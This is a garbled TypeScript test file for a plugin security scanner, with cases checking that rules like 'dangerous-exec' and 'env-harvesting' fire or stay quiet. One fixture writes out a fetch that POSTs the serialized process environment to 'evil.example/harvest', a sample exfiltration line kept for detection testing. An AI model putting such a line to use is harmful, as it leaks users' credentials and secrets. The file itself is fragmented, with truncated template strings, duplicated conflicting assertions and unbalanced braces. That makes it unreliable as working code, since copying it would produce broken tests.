) {

const findings = scanSource(source, "plugin.ts");

expect(

findings.some(

findings.filter(

(finding) =>

finding.ruleId === expected.ruleId &&

(expected.severity == null || finding.severity === expected.severity) &&

(expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)),

),

).toBe(true);

).not.toEqual([]);

}

function writeFixtureFiles(root: string, files: Record<string, string | undefined>) {

}

function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) {

expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected);

const ruleIds = findings.map((finding) => finding.ruleId);

if (expected) {

expect(ruleIds).toContain(ruleId);

} else {

expect(ruleIds).not.toContain(ruleId);

}

}

async function runNamedCase(name: string, run: () => void | Promise<void>) {

const options: ExecOptions = { timeout: 5000 };

`;

const findings = scanSource(source, "plugin.ts");

expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);

expectRulePresence(findings, "dangerous-exec", false);

});

it("does not flag RegExp.exec when child_process appears elsewhere", () => {

const match = /^keychain:(.+)$/.exec(value);

`;

const findings = scanSource(source, "plugin.ts");

expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);

expectRulePresence(findings, "dangerous-exec", false);

});

it("does not use full-line comments as source-rule context", () => {

// fetch() can reach the endpoint later.

`;

const findings = scanSource(source, "plugin.ts");

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

expectRulePresence(findings, "env-harvesting", false);

});

it("does not use inline or block comments as source-rule context", () => {

const url = "https://example.com/path//segment";

`;

const findings = scanSource(source, "plugin.ts");

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

expectRulePresence(findings, "env-harvesting", false);

});

it("returns empty array for clean plugin code", () => {

}

`;

const findings = scanSource(source, "plugin.ts");

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

expectRulePresence(findings, "env-harvesting", false);

});

it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => {

}

`;

const findings = scanSource(source, "provider-bundle.js");

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

expectRulePresence(findings, "env-harvesting", false);

});

it("still flags local process.env sends", () => {

await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) });

`;

const findings = scanSource(source, "plugin.ts");

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true);

expectRulePresence(findings, "env-harvesting", true);

});

});